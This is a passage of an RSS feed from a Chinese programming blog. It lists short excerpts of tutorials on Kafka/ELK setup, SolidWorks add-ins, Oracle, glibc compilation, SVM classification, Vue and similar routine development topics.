![image.png](https://cdn.nlark.com/yuque/0/2022/png/26910220/1670150012015-3a93ec6b-bb27-4ed3-b42f-252a0f70b65c.png#averageHue=%23fcfbf5&amp;amp;clientId=u86ce0a81-ec80-4&amp;amp;crop=0&amp;amp;crop=0&amp;amp;crop=1&amp;amp;crop=1&amp;amp;from=paste&amp;amp;height=936&amp;amp;id=ube9c482c&amp;amp;margin=%5Bobject%20Object%5D&amp;amp;name=image.png&amp;amp;originHeight=936&amp;amp;originWidth=1920&amp;amp;originalType=binary&amp;amp;ratio=1&amp;amp;rotation=0&amp;amp;showTitle=false&amp;amp;size=205691&amp;amp;status=done&amp;amp;style=none&amp;amp;taskId=u6a6825da-aaf4-471c-ad0e-2280c325c66&amp;amp;title=&amp;amp;width=1920) 该内容为本文语雀导出markdown之后的文件，其图片链接为语雀的防外链链接，需要将其图片转换到本地，并替换markdown中的链接。&#xA;from imarkdown import MdFile, LocalFileAdapter, MdImageConverter def main(): adapter = LocalFileAdapter() converter = MdImageConverter(adapter=adapter) md_file = MdFile(name=&#34;</description>
    </item>
    <item>
      <title>DataWay 分页查询</title>
      <link>https://bchobby.github.io/posts/8ba70bce5c68f48e94ce1c8e2b789408/</link>
      <pubDate>Thu, 13 Jul 2023 15:26:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8ba70bce5c68f48e94ce1c8e2b789408/</guid>
      <description>参数&#xA;{ &#34;article_title&#34;:&#34;&#34;, &#34;page&#34;:1, &#34;pageSize&#34;:10 } 请求&#xA;// - 设置数据源 xxx 为你设置的数据源 hint FRAGMENT_SQL_DATA_SOURCE = &#34;xxx&#34; // 自动转驼峰 hint FRAGMENT_SQL_COLUMN_CASE = &#34;hump&#34; // 开启分页 hint FRAGMENT_SQL_QUERY_BY_PAGE = true hint FRAGMENT_SQL_OPEN_PACKAGE = &#34;off&#34; var dataSetFun = @@mybatis(article_title) &amp;lt;% &amp;lt;select&amp;gt; SELECT CAST(@row_number := @row_number + 1 AS UNSIGNED) AS &#39;序号&#39;, article_title AS &#39;标题&#39;, DATE_FORMAT(created_at, &#39;%Y-%m-%d&#39;) AS &#39;发布时间&#39;, CASE WHEN article_status = 2 THEN &#39;待发布&#39; WHEN article_status = 3 THEN &#39;已发布&#39; END AS &#39;状态&#39; FROM `lc_knowledge_test`.</description>
    </item>
    <item>
      <title>7.kafka&#43;ELK连接</title>
      <link>https://bchobby.github.io/posts/7aa21b9724af933c2c230a5e834d8b60/</link>
      <pubDate>Thu, 13 Jul 2023 14:53:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7aa21b9724af933c2c230a5e834d8b60/</guid>
      <description>文章目录 kafka+ELK连接部署Kafkakafka操作命令kafka架构深入Filebeat+Kafka+ELK连接 kafka+ELK连接 部署Kafka ###关闭防火墙 systemctl stop firewalld systemctl disable firewalld setenforce 0 vim /etc/selinux/config SELINUX=disabled ###下载安装包 官方下载地址：http://kafka.apache.org/downloads.html cd /opt wget https://mirrors.tuna.tsinghua.edu.cn/apache/kafka/2.7.1/kafka_2.13-2.7.1.tgz ###安装 Kafka cd /opt/ tar xf kafka_2.13-2.7.1.tgz mv kafka_2.13-2.7.1 /usr/local/kafka ###修改配置文件 ##备份配置文件 cd /usr/local/kafka/config/ cp server.properties{,.bak} vim server.properties ---21行-- broker.id=0 ###21行，broker的全局唯一编号，每个broker不能重复，因此要在其他机器上配置 broker.id=1、broker.id=2 ---31行--- listeners=PLAINTEXT://192.168.242.70:9092 ###31行，指定监听的IP和端口，如果修改每个broker的IP需区分开来，也可保持默认配置不用修改 ---42行--- num.network.threads=3 ###42行，broker 处理网络请求的线程数量，一般情况下不需要去修改 ---45行--- num.io.threads=8 #45行，用来处理磁盘IO的线程数量，数值应该大于硬盘数 ---48行--- socket.send.buffer.bytes=102400 #48行，发送套接字的缓冲区大小 ---51行--- socket.receive.buffer.bytes=102400 #51行，接收套接字的缓冲区大小 ---54行--- socket.request.max.bytes=104857600 #54行，请求套接字的缓冲区大小 ---60行--- log.dirs=/usr/local/kafka/logs #60行，kafka运行日志存放的路径，也是数据存放的路径 ---65行--- num.partitions=1 #65行，topic在当前broker上的默认分区个数，会被topic创建时的指定参数覆盖 ---69行--- num.</description>
    </item>
    <item>
      <title>C# SolidWorks 二次开发 -从零开始创建一个插件(1)</title>
      <link>https://bchobby.github.io/posts/b2608f3b89d0fe8291716682498ee6e8/</link>
      <pubDate>Thu, 13 Jul 2023 14:40:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b2608f3b89d0fe8291716682498ee6e8/</guid>
      <description>学习内容:从零开始定制一个SolidWorks插件 作为了一个职业的二次开发人员，我曾经创建插件&#34;无数&#34;。但从未像今天这篇文章这样，从空项目开始，之前的文章中我有介绍，要么使用SolidWorks API模板，要么使用了第三方框架。但是其实这两种办法其实都太臃肿了，里面包括了太多的一些东西，比如菜单呀，事件，毕竟有时候做个小插件可能都不涉及，不需要那么多功能。 为了更好的理解，我介绍一下从零开始定制一个插件的几个步骤，这里以VS2022来做演示，后面代码也会开源。 net farmework 版本的选择 正常来说，Solidworks对.net Framework没有严格的要求，最新的.net 6也是可以创建插件的，只是说sw每个版本自带的.net 版本是不一样的，大家可以查看安装包里面有个PreReqs文件夹，里面可以看到对应的版本。现在win11 和一些win10上面已经默认不带.net2.0 和.net3.5了，所以目前最好的就是.net 4.0，相对来说支持的广泛一些。 这里一定是去选择.net Framework的版本，其它的版本是不一样的。&#xA;这里指定框架版本，自己设置新的路径，点击 创建。&#xA;成功之后如下图:&#xA;dll的引用 要做SolidWorks的插件，肯定要引用官方提供的dll文件，文件在sw安装目录下面，如果不记得在哪，可以看下快捷方式的属性。&#xA;或者用电脑上的Everything软件搜索Sldworks.exe，看我这电脑上有2个版本，就能看出来两个路径。&#xA;至于引用哪一个版本的，好像不是太重要，因为高版本基本上向下兼容，在不调用高版本api的情况下，用低版本也可以。&#xA;我们就随便找个版本吧，进入到安装目录下\API\redist&#xA;这里面dll比较多，但常用的是:&#xA;当然还有个，上层目录下也有这几个dll&#xA;我们先打开项目的目录:&#xA;我在这里新建一个文件夹ReferenceDLL&#xA;然后把关键的dll复制进来&#xA;然后浏览到上面我们创建的文件夹,引用这4个dll&#xA;然后设置一下dll的互操作类型：&#xA;64位的设置 现在大部分电脑已经是64位了，如果需要生成的dll是64位的，可以这样修改:&#xA;在弹出的界面中选择:&#xA;COM的显示 此处要勾上。(当前也可以在类里面用属性显示定义COM可见。)&#xA;ISwAddin接口 首先重命名以前的Class1为你想要的名称，我这里改为AddinStudy.然后双击选中AddinStudy这个类，前方会出现重命名文件为xxxx.cs. 我们点一下，这样这个文件名也会变更了。 所以当前状态为:&#xA;然后，我们让这个类继承接口类ISwAddin ,前让VS自动引用对应的命名空间。&#xA;然后继续让VS自动实现接口:&#xA;此时代码就是:&#xA;public class AddinStudy:ISwAddin { public bool ConnectToSW(object ThisSW, int Cookie) { throw new NotImplementedException(); } public bool DisconnectFromSW() { throw new NotImplementedException(); } } 现在里面执行都是抛异常的，所以我们来改一下。</description>
    </item>
    <item>
      <title>threejs图形拉升得到任意形状mesh</title>
      <link>https://bchobby.github.io/posts/b5359fd425c3cd599c2ff737af6a2d6b/</link>
      <pubDate>Thu, 13 Jul 2023 14:14:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b5359fd425c3cd599c2ff737af6a2d6b/</guid>
      <description>// 创建已经挖好洞的shape 完整形状的数组点位(一维数组) 洞的形状的数组点位(二维数组) createShape(pointsArray3D:{ x: number; y: number }[],holePoints:{ x: number; y: number }[][]) {&#xA;// 先创建一块大的形状 const shape = this.addShape(pointsArray3D);&#xA;// 再挖洞&#xA;for (let index = 0; index &amp;lt; holePoints.length; index++) {&#xA;const hole = this.addShape(holePoints[index]);&#xA;shape.holes.push(hole);&#xA;}&#xA;return shape;&#xA;}&#xA;// 创建shape(各类形状都可以)&#xA;addShape(shapeArr: { x: number; y: number }[]) {&#xA;let shape = new THREE.Shape();&#xA;let flag = true;&#xA;for (let index = 0; index &amp;lt; shapeArr.</description>
    </item>
    <item>
      <title>Java的jdk配置成功，但是输入java -version等，命令行没有任何反应</title>
      <link>https://bchobby.github.io/posts/c58b09d26c615f8ea9d5ad685df31584/</link>
      <pubDate>Thu, 13 Jul 2023 12:01:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c58b09d26c615f8ea9d5ad685df31584/</guid>
      <description>问题：现在有很多学生出现这种情况，&#xA;Java的jdk配置成功，但是输入java -version等，命令行没有任何反应&#xA;Java下载后，手动配置环境变量，并且配置好，但是在命令行中无论输入java的什么都没有反应&#xA;问题：手动配置好JDK1.8版本的环境变量，但是在命令行窗口输入java、javac、java -version等命令，命令行都无反应&#xA;解决方法：&#xA;第一步：&#xA;打开cmd（命令行窗口），在命令行中输入where java，可以查看环境变量中的Java环境配置，如图1所示：&#xA;图1&#xA;前两行环境变量是我安装jdk15版本时，软件自动给我生成的环境变量，但是我输入java、javac、java -version这些命令行时，没有任何反应，如图2所示：&#xA;图2&#xA;后两行环境配置是我下载了一个JDK1.8版本，自己手动配置的环境变量。&#xA;通过各方面查找原因，最终原因锁定在配置环境变量的顺序上&#xA;第二步：&#xA;打开编辑系统环境变量，可以在搜索框搜索，如图3所示&#xA;图3&#xA;打开后，点击环境变量，然后会弹出环境变量的窗口，如图4所示&#xA;图4&#xA;找到系统变量的Path，点击编辑后，如图5所示：&#xA;图5&#xA;第三步&#xA;将自己两个手动配置的环境变量移动到软件自动配置的两个环境变量的前面，如图6所示：&#xA;图6&#xA;后面一直点击确定就可以了&#xA;重新打开命令行窗口，输入where Java，这时可以看到顺序已经改变了，如图7&#xA;图7&#xA;这时再输入java -version,就可以看到对应的jdk版本号，如图8所示：&#xA;图8&#xA;最后：问题得到解决</description>
    </item>
    <item>
      <title>Oracle-＞安装-＞DDL（表操作）-＞DML（数据操作）-＞JDBC连接oracle</title>
      <link>https://bchobby.github.io/posts/a181df311db4410fc45fd3857d6c04bb/</link>
      <pubDate>Thu, 13 Jul 2023 09:02:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a181df311db4410fc45fd3857d6c04bb/</guid>
      <description>目录&#xA;1、Oracle数据库的安装（Windows版）&#xA;2、Oracle的体系结构&#xA;3、安装配置PLSQL Developer（可视化工具） 和远程连接Oracle&#xA;4、使用OraCle&#xA;常用数据类型：&#xA;在用户下创建表：&#xA;表的创建、修改、删除&#xA;数据增删改查&#xA;JDBC连接Oracle&#xA;修改的方法和添加相同，不同的地方在于sql语句。&#xA;删除数据，也是sql语句不同，其他都相同。&#xA;数据的导出与导入&#xA;（1）整库的导入导出&#xA;（二）按用户名称导出导入&#xA;(三)按表导出导入&#xA;Oracle和MySQL相比有什么异同，最直观的一点在于MySQL是开源的，Oracle是收费的。&#xA;Orale具有以下特点：&#xA;支持多用户、大事务量的事务处理数据安全性和完整性控制支持分布式数据处理可移植性 1、Oracle数据库的安装（Windows版） 安装在虚拟机中，首先要对虚拟机中的系统进行网络配置、一般有三种模式：&#xA;桥接模式：本地的计算机和虚拟机中的计算机处于同一个局域网，需要有外部网络环境（插网线）NAT模式：虚拟机中的计算机和本机共享一个IP地址（本机不能和虚拟机中的计算计通信）仅主机模式：本地的计算机和虚拟机中的计算机用一根网线连接 准备好Oracle数据库安装包：&#xA;点击下一步、然后安装即可，全自动安装。&#xA;安装完成连接Oracle数据库：&#xA;连接成功，执行select * from tabs； 可以查看所有的表。&#xA;退出：quit&#xA;2、Oracle的体系结构 1、数据库&#xA;Oracle中的数据库和其他数据库不同，其他的数据库可以创建多个数据库，而oracle一个操作系统中只有一个数据库，可以看做Oracle只有一个数据库。而且Oracle数据库是数据的物理存储（包括数据文件ORA或者DBF、控制文件、联机日志、参数文件等）。&#xA;2、实例&#xA;Oracle数据库实例是Oracle数据库运行时的实体，是操作系统进程和内存结构的集合。也就是说一个Oracle实例由一系列的后台进程和内存结构组成，一个数据库可以有n个实例。&#xA;3、数据文件&#xA;数据文件是数据库的物理存储单位。数据库的数据是存储在表空间中的，数据实体是在某一个或者多个数据文件中，而一个表空间可以有多个数据文件组成，一个数据文件只能属于一个表空间。一旦数据文件被加入到某个表空间后、就不能删除这个文件，而想要删除某个数据文件，要先删除这个数据文件所属于的表空间才行。&#xA;4、表空间&#xA;表空间是Oracle对物理数据上相关数据文件的逻辑映射。&#xA;5、段&#xA;段是一个逻辑数据存储单元，可以包含单个表、索引或其他对象。&#xA;6、区&#xA;区是分配给段的物理存储单元，通常包含多个数据块。&#xA;7、块&#xA;块是Oracle数据库中最小的物理存储单元，通常包含多条记录。&#xA;8、用户&#xA;Oracle中的用户和MySQL中的用户不同，MySQL中的用户登录之后可以看到所有的数据库。而Oracle中存在多个用户、每一个用户对应一个应用，用户是在表空间下建立的。用户登陆后只能看到和操作自己的表, ORACLE 的用户与 MYSQL 的数据库类似，每建立一个应用需要创建一个用户。在用户下面创建表。&#xA;3、安装配置PLSQL Developer（可视化工具） 和远程连接Oracle 远程连接Oracle数据库 需要使用工具：instantclient&#xA;在cmd中进入到改文件目录中，执行如下命令（注意是在本机中操作，从本机连接虚拟机中的Oracle数据库）：&#xA;即可远程连接到Oracle数据库。&#xA;图形可视化界面工具 Oracle本身没有可视化界面，需要使用第三放工具：PLSQL Developer，下载该工具进行安装即可（注意安装目录不能带有空格或者中文）。&#xA;安装完成之后，打开软件如图，对该软件进行配置：&#xA;这样就可以使用这个图形化工具进行远程连接。&#xA;接下来继续配置&#xA;复制到本机的任一目录下即可，然后用记事本打开该文件，对该文件进行修改配置：&#xA;然后在本机配置环境变量：</description>
    </item>
    <item>
      <title>XShell链接不上问题</title>
      <link>https://bchobby.github.io/posts/4cae7a55425ee18c1bf32a91ef94d2b9/</link>
      <pubDate>Thu, 13 Jul 2023 08:56:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4cae7a55425ee18c1bf32a91ef94d2b9/</guid>
      <description> 1.出现XShell链接不上问题 2查看虚拟机ip ip addr 在cmd界面中查看ip 查看网段是否一致&#xA;如果不一致在网络适配中修改对应设置&#xA;3.即可链接 4.修改虚拟机ip地址 1.打开编辑器 vi /etc/sysconfig/network-scripts/ifcfg-eth0 //修改网卡配置文件 2进入编辑模式 按键盘i键进入编辑模式，上下左右方向键进行移动。&#xA;配置文件中如果没有的字段，则自行输入进去。&#xA;下面//后内容不需要输入，是注释内容。&#xA;2.1修改BOOTPROTO BOOTPROTO=static //地址分配为静态 2.2修改ONBOOT ONBOOT=yes /开启自启动 2.3修改ip和掩码等 ​ 若只需要配置IP和掩码则其他不填写。&#xA;IPADDR=192.168.1.1 //IP地址 NETMASK=255.255.255.0 //子网掩码 GATEWAY=192.168.1.254 //网关 DNS1=1.1.1.1 //DNS1 DNS2=8.8.8.8 //DNS2 3.保存 按下ESC后输入:wq保存&#xA;4.重启网络服务 因为修改完配置文件有缓存数据，需要重启一下网络服务才可以生效。&#xA;systemctl restart network \\重启网络服务 </description>
    </item>
    <item>
      <title>keil最新STM32pack芯片包下载教程</title>
      <link>https://bchobby.github.io/posts/0049bb5e89e341ddf771ae165fff9149/</link>
      <pubDate>Wed, 12 Jul 2023 22:12:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0049bb5e89e341ddf771ae165fff9149/</guid>
      <description>1、网站地址&#xA;Arm Keil | Deviceshttps://www.keil.arm.com/devices/&#xA;2、在搜索框中输入需要下载的芯片名，例：STM32H743XI，然后在搜索结果中选择需要的芯片，进入到芯片参数界面。&#xA;3、进入到芯片参数界面后，点击STM32H7xx_DFP蓝色字样。&#xA;4、进入STM32H7xx_DFP后，即可直接下载最新版本，也可以根据需要下载历史版本。&#xA;以上是官网下载方法，速度较慢，受不了慢速就科学上网。</description>
    </item>
    <item>
      <title>MATLAB图像处理技术概述</title>
      <link>https://bchobby.github.io/posts/96725fe6442dfae3e17ac9afeacd4e66/</link>
      <pubDate>Wed, 12 Jul 2023 21:43:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/96725fe6442dfae3e17ac9afeacd4e66/</guid>
      <description>目录&#xA;1.图像增强&#xA;1.1 灰度转换&#xA;1.2 直方图均衡化&#xA;1.3 空域滤波&#xA;2.特征提取&#xA;2.1 SIFT特征提取&#xA;2.2 SURF特征提取&#xA;2.3 HOG特征提取&#xA;3.图像分割&#xA;3.1 基于阈值的分割&#xA;3.2 基于区域的分割&#xA;3.3 水平分割&#xA;4.目标检测&#xA;4.1 基于HOG+SVM的人脸检测&#xA;4.2 基于YOLOv3的目标检测&#xA;5.图像重建&#xA;5.1 基于插值的图像重建&#xA;5.2 基于深度学习的图像重建&#xA;6.其他应用&#xA;6.1 图像拼接&#xA;6.2 图像融合&#xA;6.3 图像配准&#xA;Matlab是一种强大的数学计算软件，也是图像处理领域的常用工具。Matlab提供了许多图像处理相关的函数和工具箱，可以方便地实现各种图像处理算法。&#xA;1.图像增强 图像增强是一种常用的图像处理技术，可以改善图像的质量和可视性。Matlab提供了许多图像增强的函数和工具箱，如灰度转换、直方图均衡化、空域滤波等。以下是一些图像增强的应用示例：&#xA;1.1 灰度转换 灰度转换是将彩色图像转换为灰度图像的过程。Matlab中可以使用rgb2gray函数实现灰度转换。下面是一个简单的示例代码：&#xA;I = imread(&#39;image.jpg&#39;); I_gray = rgb2gray(I); imshow(I_gray); 1.2 直方图均衡化 直方图均衡化是一种常用的图像增强技术，可以增强图像的对比度和亮度。Matlab中可以使用histeq函数实现直方图均衡化。下面是一个示例代码：&#xA;I = imread(&#39;image.jpg&#39;); I_gray = rgb2gray(I); I_eq = histeq(I_gray); imshow(I_eq); 1.3 空域滤波 空域滤波是一种常用的图像增强技术，可以去除图像噪声、模糊和平滑化图像。Matlab中提供了许多空域滤波函数，如高斯滤波、中值滤波等。下面是一个示例代码：&#xA;I = imread(&#39;image.</description>
    </item>
    <item>
      <title>ElementPlus 循环Popover合并优化</title>
      <link>https://bchobby.github.io/posts/d9013d565d270acdd521854bf88533a3/</link>
      <pubDate>Wed, 12 Jul 2023 18:48:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d9013d565d270acdd521854bf88533a3/</guid>
      <description>起因：表格内td内容需要扩展展示&#xA;得到了这样的结果&#xA;确实满足了需求，但是，简单思考了一下可能存在的问题，于是去扒了一下DOM。enm……果然如此&#xA;有多少行就生成了多少个Popover&#xA;这哪行啊，表格每页数量还是能选的，哪天产品脑子一抽，来个1000,5000，岂不是玩蛋&#xA;所以，这是病，得治。因为我解决不了提出问题的人&#xA;于是，翻了一下api，挨！找到了&#xA;这玩意有用，琢磨一下试试&#xA;上代码，为了容易从DOM中观测，给他起个名字叫 MultipleIn1&#xA;&amp;lt;el-popover ref=&#34;popover&#34; v-model:visible=&#34;state.popoverVisible&#34; virtual-triggering :virtual-ref=&#34;virtualRef&#34; placement=&#34;top&#34; popper-class=&#34;MultipleIn1&#34; &amp;gt; &amp;lt;div class=&#34;p8&#34;&amp;gt;popover content&amp;lt;/div&amp;gt; &amp;lt;/el-popover&amp;gt; 此时，Table Column部分则改为：&#xA;&amp;lt;el-table-column label=&#34;ID&#34; prop=&#34;id&#34; width=&#34;120&#34;&amp;gt; &amp;lt;template #default=&#34;{ row }&#34;&amp;gt; &amp;lt;span @mouseenter=&#34;(e) =&amp;gt; showPopover(e, row)&#34;&amp;gt; {{ row.id }} &amp;lt;/span&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;/el-table-column&amp;gt; @mouseenter显示Popover&#xA;因为el-popover组件默认了隐藏时间200ms，所以，有频率需求的，可以通过调节hide-after参数来调节&#xA;由于el-popover文档内没有virtual-ref的描述，尝试了几次之后，发现这玩意绑DOM即可 于是有了显隐的方法：&#xA;const showPopover = (e, row) =&amp;gt; { virtualRef.value = e.target; state.popoverVisible = true; }; 然后，&#xA;好使！&#xA;扒一下DOM：&#xA;好使！ [注：没写的参数自补全]</description>
    </item>
    <item>
      <title>MySQL 服务无法启动。服务没有报告任何错误。</title>
      <link>https://bchobby.github.io/posts/0efacc4e120d27d3488d3a8644b38aec/</link>
      <pubDate>Wed, 12 Jul 2023 18:28:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0efacc4e120d27d3488d3a8644b38aec/</guid>
      <description>输入net start mysql时显示MySQL 服务无法启动。服务没有报告任何错误。如下图：&#xA;解决方案：&#xA;有可能是3306端口被占用了，可输入netstat -ano命令查看占用3306端口进程的PID，如下图：&#xA;可知PID为37544的进程占用了3306端口，接下来打开任务管理器，找到改进程，然后结束进程即可。&#xA;再次执行命令会发现可以成功启动了。</description>
    </item>
    <item>
      <title>（新手教学）C# SolidWorks 二次开发01--从添加模板到插件创建成功</title>
      <link>https://bchobby.github.io/posts/92830c9b346691df0c8ee1be1fd62648/</link>
      <pubDate>Wed, 12 Jul 2023 15:24:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/92830c9b346691df0c8ee1be1fd62648/</guid>
      <description>查阅了很多文档，最终梳理清楚了从零开始的创建过程，在此记录一下。&#xA;我用的是VS2022，正常创建新项目的时候，左侧是没有SwCSharpAddin这个模板的，那我们该如何添加模板呢？&#xA;首先下载工程模版，链接：https://pan.baidu.com/s/1dOG4mBE2X9AOMiwbsib73A?pwd=1314 提取码：1314&#xA;然后放到用户的VS模板目录，这里一定要记住，每个人的模板目录不同，我是通过文档中&#xA;此时，打开ProjectTemplates文件夹，将压缩包中解压到ProjectTemplates文件夹中&#xA;这个时候，我们就可以在VS创建项目里找到SW的模板了&#xA;点击下一步，后续操作可以看图，剩下的就是根据自身需求进行更改了。&#xA;以上就是从开始寻找模板到最后创建成功的全部过程。网上大多数的教程按着做了总会出现很多问题。&#xA;后续我也会陆续的更新关于SW二次开发的新手内容（我自己也在摸索学习），希望可以与大家互相交流</description>
    </item>
    <item>
      <title>支持向量机SVM代码详解——多分类/降维可视化/参数优化【python】</title>
      <link>https://bchobby.github.io/posts/a96289cc3a6c4ffed4f8bbb059cc3318/</link>
      <pubDate>Wed, 12 Jul 2023 12:00:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a96289cc3a6c4ffed4f8bbb059cc3318/</guid>
      <description>篇1：SVM原理及多分类python代码实例讲解（鸢尾花数据） SVM原理 支持向量机（Support Vector Machine,SVM），主要用于小样本下的二分类、多分类以及回归分析，是一种有监督学习的算法。基本思想是寻找一个超平面来对样本进行分割，把样本中的正例和反例用超平面分开，其原则是使正例和反例之间的间隔最大。&#xA;SVM学习的基本想法是求解能够正确划分训练数据集并且几何间隔最大的分离超平面。如下图所示，wx+b=0即为分离超平面，对于线性可分的数据集来说，这样的超平面有无穷多个（即感知机），但是几何间隔最大的分离超平面却是唯一的。&#xA;SVM实现分类代码 1.数据集介绍——鸢尾花数据集 下载方式：通过UCI Machine Learning Repository下载或者直接使用代码&#xA;from sklearn.datasets import load_iris&#xA;数据展示与介绍（iris.data）&#xA;Iris.data中有5个属性，包括4个预测属性（萼片长度、萼片宽度、花瓣长度、花瓣宽度）和1个类别属性（Iris-setosa、Iris-versicolor、Iris-virginica三种类别）。首先，需要将第五列类别信息转换为数字，再选择输入数据和标签。&#xA;2.多分类python代码（二分类可看做只有两类的多分类） from sklearn import svm #引入svm包 import numpy as np import matplotlib.pyplot as plt import matplotlib from sklearn.model_selection import train_test_split #定义字典，将字符与数字对应起来 def Iris_label(s): it={b&#39;Iris-setosa&#39;:0, b&#39;Iris-versicolor&#39;:1, b&#39;Iris-virginica&#39;:2} return it[s] #读取数据，利用np.loadtxt()读取text中的数据 path=&#39;iris.data&#39; #将下载的原始数据放到项目文件夹，即可不用写路径 data= np.loadtxt(path, dtype=float, delimiter=&#39;,&#39;, converters={4:Iris_label}) #分隔符为‘,&#39; #确定输入和输出 x,y=np.split(data,(4,),axis=1) #将data按前4列返回给x作为输入，最后1列给y作为标签值 x=x[:,0:2] #取x的前2列作为svm的输入，为了便于可视化展示 #划分数据集和标签：利用sklearn中的train_test_split对原始数据集进行划分，本实验中训练集和测试集的比例为7：3。 train_data,test_data,train_label,test_label=train_test_split(x,y,random_state=1,train_size=0.7,test_size=0.3) #创建svm分类器并进行训练：首先，利用sklearn中的SVC（）创建分类器对象，其中常用的参数有C（惩罚力度）、kernel（核函数）、gamma（核函数的参数设置）、decision_function_shape（因变量的形式），再利用fit()用训练数据拟合分类器模型。 &#39;&#39;&#39;C越大代表惩罚程度越大，越不能容忍有点集交错的问题，但有可能会过拟合（defaul C=1）； kernel常规的有‘linear’, ‘poly’, ‘rbf’, ‘sigmoid’, ‘precomputed’ ，默认的是rbf； gamma是核函数为‘rbf’, ‘poly’ 和 ‘sigmoid’时的参数设置，其值越小，分类界面越连续，其值越大，分类界面越“散”，分类效果越好，但有可能会过拟合，默认的是特征个数的倒数； decision_function_shape=&#39;ovr&#39;时，为one v rest（一对多），即一个类别与其他类别进行划分，等于&#39;ovo&#39;时，为one v one（一对一），即将类别两两之间进行划分，用二分类的方法模拟多分类的结果。 &#39;&#39;&#39; model=svm.</description>
    </item>
    <item>
      <title>后代选择器及权重</title>
      <link>https://bchobby.github.io/posts/96ea7ec2b06e111e468dcb8a4b216fad/</link>
      <pubDate>Wed, 12 Jul 2023 11:55:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/96ea7ec2b06e111e468dcb8a4b216fad/</guid>
      <description>后代选择器 选择器1 选择器2 选择器3{} 找到1里面的2里面的3,最终找到的是3&#xA;5.选择器权重:&#xA;id选择器&amp;gt;类选择器(class选择器)&amp;gt;类型选择器(div,span,img,a…)&#xA;an,img,a…)&#xA;100 10 1</description>
    </item>
    <item>
      <title>vue3.0 通过ref 动态绑定与获取 dom</title>
      <link>https://bchobby.github.io/posts/e83bc3feee1fffc68454195c1617bf4e/</link>
      <pubDate>Wed, 12 Jul 2023 11:39:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e83bc3feee1fffc68454195c1617bf4e/</guid>
      <description>html写法&#xA;&amp;lt;li v-for=&#34;item in Overview.config&#34; :key=&#34;item.value&#34; &amp;gt; &amp;lt;BarChart :ref=&#34;item.value+&#39;ChartRef&#39;&#34; style=&#34;height: 120px&#34; :ids=&#34;item.value&#34; /&amp;gt; &amp;lt;/li&amp;gt; 数据&#xA;Overview = { data: [], config: [{ value: &#39;cellNumber&#39;, title: &#39;小区数&#39;, color: [&#39;#7FB9ED&#39;, &#39;#1E88E5&#39;], unit: &#39;个&#39; }, { value: &#39;energySavingCell&#39;, title: &#39;节能小区数&#39;, color: [&#39;#7FB9ED&#39;, &#39;#1E88E5&#39;], unit: &#39;个&#39; }, { value: &#39;saveEnergy&#39;, title: &#39;节省能耗&#39;, color: [&#39;#E35500&#39;, &#39;#FF8A00&#39;], unit: &#39;kW·h&#39; }] } 定义ref并赋值&#xA;const cellNumberChartRef = ref(null) const energySavingCellChartRef = ref(null) const saveEnergyChartRef = ref(null) 调用组件方法</description>
    </item>
    <item>
      <title>glibc库编译安装</title>
      <link>https://bchobby.github.io/posts/04b40d13a9db7a52246adb959ab9e75e/</link>
      <pubDate>Wed, 12 Jul 2023 11:23:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/04b40d13a9db7a52246adb959ab9e75e/</guid>
      <description>Background 有的时候系统中的glibc版本较低，新装的软件依赖高版本的glibc，那这个时候需要升级下glibc。&#xA;1、常见异常 通常会遇到这样的异常：ImportError: /usr/lib64/libc.so.6: version GLIBC_2.28’ not found`&#xA;1、查看系统中可使用的glibc版本 strings /lib64/libc.so.6 |grep GLIBC_ 2、glibc库下载 glibc库各版本下载地址 3、编译安装 上传到服务器或者在线安装&#xA;# 在线安装 wget https://ftp.gnu.org/gnu/glibc/glibc-2.28.tar.gz # 解压 tar zxf glibc-2.28.tar.gz cd glibc-2.28 mkdir build cd build ../configure --prefix=/usr # 这步执行时间依赖你的配置，我的八核的几分钟就好了 make -j8 make install 可能遇到的问题&#xA;LD_LIBRARY_PATH shouldn&#39;t contain the current directory when building glibc. Please change the envir&#xA;【解决方法】 [root@localhost opt]# echo $LD_LIBRARY_PATH :/usr/local/lib [root@localhost opt]# export LD_LIBRARY_PATH= [root@localhost opt]# echo $LD_LIBRARY_PATH [root@localhost opt]# .</description>
    </item>
    <item>
      <title>MD5 sha256 解密在线网站</title>
      <link>https://bchobby.github.io/posts/54e3e4fa03a43180460988060947d64b/</link>
      <pubDate>Wed, 12 Jul 2023 11:05:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/54e3e4fa03a43180460988060947d64b/</guid>
      <description>网站MD5.CC</description>
    </item>
    <item>
      <title>使用LAMP搭建私有云储存</title>
      <link>https://bchobby.github.io/posts/1ba278c3a765d52a1c03e18e7621ea6a/</link>
      <pubDate>Wed, 12 Jul 2023 10:30:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1ba278c3a765d52a1c03e18e7621ea6a/</guid>
      <description>关闭防火墙和SeLinux&#xA;创建配置文件，将原来 的配置重命名 [root@server ~]# mv /etc/httpd/conf.d/xiao.conf /etc/httpd/conf.d/xiao.conf.bak [root@server ~]# vim /etc/httpd/conf.d/xiao.conf &amp;lt;Virtualhost 192.168.145.128:80&amp;gt; DocumentRoot /luntan ServerName 192.168.145.128 &amp;lt;/Virtualhost&amp;gt; &amp;lt;Directory /luntan&amp;gt; AllowOverride none Require all granted &amp;lt;/Directory&amp;gt; [root@server ~]# mkdir /luntan [root@server ~]# cd /luntan [root@server luntan]# 用xftp传输文件包&#xA;查看压缩包，并解压&#xA;[root@server luntan]# ll total 11492 -rw-r--r-- 1 root root 11766137 Jul 11 18:00 Discuz_X3.5_SC_UTF8_20230316.zip [root@server luntan]# unzip Discuz_X3.5_SC_UTF8_20230316.zip #解压 [root@server luntan]# ll total 11616 -rw-r--r-- 1 root root 11766137 Jul 11 18:00 